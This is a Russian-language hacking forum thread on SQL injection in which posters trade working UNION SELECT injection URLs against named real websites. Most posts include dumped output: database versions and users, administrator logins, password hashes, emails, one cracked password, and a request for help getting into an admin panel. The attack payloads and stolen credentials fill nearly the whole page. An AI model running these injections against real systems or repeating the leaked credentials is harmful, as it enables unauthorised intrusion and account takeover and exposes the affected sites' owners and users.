SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Glazz

    Glazz Elder - Старейшина

    Joined:
    9 Aug 2008
    Messages:
    116
    Likes Received:
    7
    Reputations:
    0
    http://koleso.topof.ru/testing_info.php?id=-1+union+select+1,2,version(),4,5,6,7/*
     
  2. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,138
    Reputations:
    350
    Calcutta, если писать без ошибок, всё будет нормально :)
     
  3. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    Code:
    http://info.twtelecom.net/info.php?id=3+UNION+SELECT+1,concat_ws(0x3a,version(),database(),user()),3+LIMIT+1,1/*
    Db Version: 5.0.22
    Db name: info
    User name: info@localhost
     
    1 person likes this.
  4. Calcutta

    Calcutta Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    341
    Likes Received:
    243
    Reputations:
    36
    Ура -) jokester заставил меня включить мозг ^____^

    http://koleso.topof.ru/testing_info.php?id=-1+union+select+1,2,3,concat_ws(0x3a,admin_name,admin_login,admin_password),5,6,7+from+admins+limit+0,1--

    Superadmin:topof:33d51f16ddaf72afb581e2a223c602a1:4f
    News admin:news:044e7b0ce67db55376abda253f52e101:1b
    Tyre admin:tyre:c1d42f7311bfb28391292190c0a7a904:30
    Disc admin:disk:10f43033d0b00ecccfc676bb6baa3f8e:64
    Auto admin:auto:12794736bba2d6fc3b41e0b013d55178:1a
    v.savosin:v.savosin:046a47fda9108dcc3cbd9d9ac0080ab6:84
    hadmin:hadmin:dea6235570ff43527546bfa39b1a7eeb:f6
     
    1 person likes this.
  5. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://www.dalea-products.co.uk/products.php?id=1+and+1=2+union+all+select+1

    Database: daleaprod
    User: daleaprod@213.171.218.94
    Version: 5.0.27-log

    [Table: Columns]
    [0]announcements: id,title,text,datetime
    [1]contactus: id,html,email
    [2]dalea_users: id,username,password
    [3]homepage: id,html
    [4]productdata: sourceId,targetId,id,title,thumb,fullsize,caption
    [5]products: id
     
    1 person likes this.
  6. Glazz

    Glazz Elder - Старейшина

    Joined:
    9 Aug 2008
    Messages:
    116
    Likes Received:
    7
    Reputations:
    0
    ну вы люди даете :D
     
  7. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    320
    Likes Received:
    356
    Reputations:
    18
    Все тут крутиться!!!Я давно крутил....
    news:newsmaker
    auto:avtotop
    проще некуда
     
  8. Art-Ge-Force

    Art-Ge-Force Member

    Joined:
    19 Apr 2008
    Messages:
    20
    Likes Received:
    5
    Reputations:
    0
    Code:
    http://www.ngo.acssc.kg/news_rash.php?ify_id=-1+UNION+SELECT+2,2,3,4,User(),6,database(),8,9,10,11
    Code:
    http://job.312.kg/infoall.php?recordID=-1+UNION+SELECT+1,user(),version(),database(),password,8,7,8,9,email,11,name,13,14,15+from+users+limit+0,1/*
    :p
     
  9. PaLb14

    PaLb14 Member

    Joined:
    29 Feb 2008
    Messages:
    25
    Likes Received:
    6
    Reputations:
    0
    http://www.lyapis.com/anons.php?id=-1+union+select+1,2,3,4,5/*
     
    1 person likes this.
  10. S0ulVortex

    S0ulVortex Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    165
    Likes Received:
    85
    Reputations:
    10
    Code:
    http://www.feodosia.orthodoxy.ru/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,password,email,0,0,0,0,0,0,0,0,0,0,0,0,%20%200,0,0,0/**/from/**/jos_users/*
     
    4 people like this.
  11. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    Code:
    http://www.lyapis.com/anons.php?id=5+UNION+SELECT+1,2,concat_ws(0x3a,version(),database(),user()),4,5/*
     
  12. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    Code:
    http://www.dilian.net/fun.php?id=1%20UNION%20SELECT%201,concat_ws(0x3a,version(),database(),user()),3,4%20LIMIT%201,1/*
    4.1.22-log:dilian:dilian@localhost
     
  13. tor4)

    tor4) Elder - Старейшина

    Joined:
    27 May 2008
    Messages:
    45
    Likes Received:
    21
    Reputations:
    -6
    http://www.antijob.ru/

    http://www.antijob.ru/reviews/add/opinion/?company_id=-1094+union+select+1,2,version(),4,5,6,7,8,9,10,11/*
    Версия 5.0.22.
    http://www.antijob.ru/reviews/add/opinion/?company_id=-1094+union+select+1,2,concat(user_id,0x3a,login,0x3a,name,0x3a,password,0x3a,email),4,5,6,7,8,9,10,11+from+users+limit+1,1/*

    2:antijob:Администратор:0dfa1ead51ae2ecd943fed0018036109:info@antijob.ru
    Расшифровал пароль: ljrnjhpkj
    Но в админку так и не попал(((( help
    Админка: http://www.antijob.ru:2222/
     
    1 person likes this.
  14. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://www.klipfolio.com/index.php?action=explore,listing&by=set&sid=-1+union+select+1,2,3,4,5,6,7,8,concat(0x3a3a,convert(login+using+utf8),0x3a3a,password),10,11,12,13,14,15,16,17+from+kf_user+limit+0,20/*


    Цэ юзеры сайта: awille::wetn00dle

    http://www.klipfolio.com/index.php?action=explore,listing&by=set&sid=-1+union+select+1,2,3,4,5,6,7,8,concat(unhex(hex(username)),unhex(hex(0x3a3a)),unhex(hex(user_password))),10,11,12,13,14,15,16,17+from+phpbb_users+limit+1,10/*

    Цэ эзеры форума.
     
  15. Calcutta

    Calcutta Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    341
    Likes Received:
    243
    Reputations:
    36
    http://presa.ge/index.php?text=news&i=-343111+union+select+1,2,concat_ws(0x3a,id,user_username,user_password,user_email,user_firstname,user_lastname),4,5,6,7,8,9,10,11+from+users+limit+0,1--

    presa.ge:c1ab283404b71a940807009023a764bd
    <3 грузинскую прессу -)
     
    #6275 Calcutta, 15 Aug 2008
    Last edited: 15 Aug 2008
    2 people like this.
  16. mefish

    mefish Elder - Старейшина

    Joined:
    13 Apr 2008
    Messages:
    33
    Likes Received:
    12
    Reputations:
    0
    to tor4)

    Какая нафик админка :D , ето страница авторизации в DirectAdmin :lol:
     
  17. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://www.chca.org.ge/index.php?id=1+union+select+1,2,3,4,5,6,7,8,9,concat(name,0x3a3a,pass),11,12,13,14,15,16,17,18,19,20,21,22+from+na_users+limit+0,1

    login: admin pass: admin
     
    1 person likes this.
  18. PaLb14

    PaLb14 Member

    Joined:
    29 Feb 2008
    Messages:
    25
    Likes Received:
    6
    Reputations:
    0
    http://intelt.com/spb/hotel/?id=-1+union+select+1,2,3,4,5/*
     
  19. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://www.vadimmusic.com/fiche.php?id=-183+union+select+1,2,3,4,concat(admin_login,0x3a,admin_pass),6,7,8,9,10,11,12+from+compteadmin/*
     
    1 person likes this.
  20. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    697
    Likes Received:
    404
    Reputations:
    134
    Version:5.0.22-standard
    Dbname:goelette_main
    User:goelette_main@localhost

    ничего интересного почемут(
     
    2 people like this.
Loading...
Thread Status:
Not open for further replies.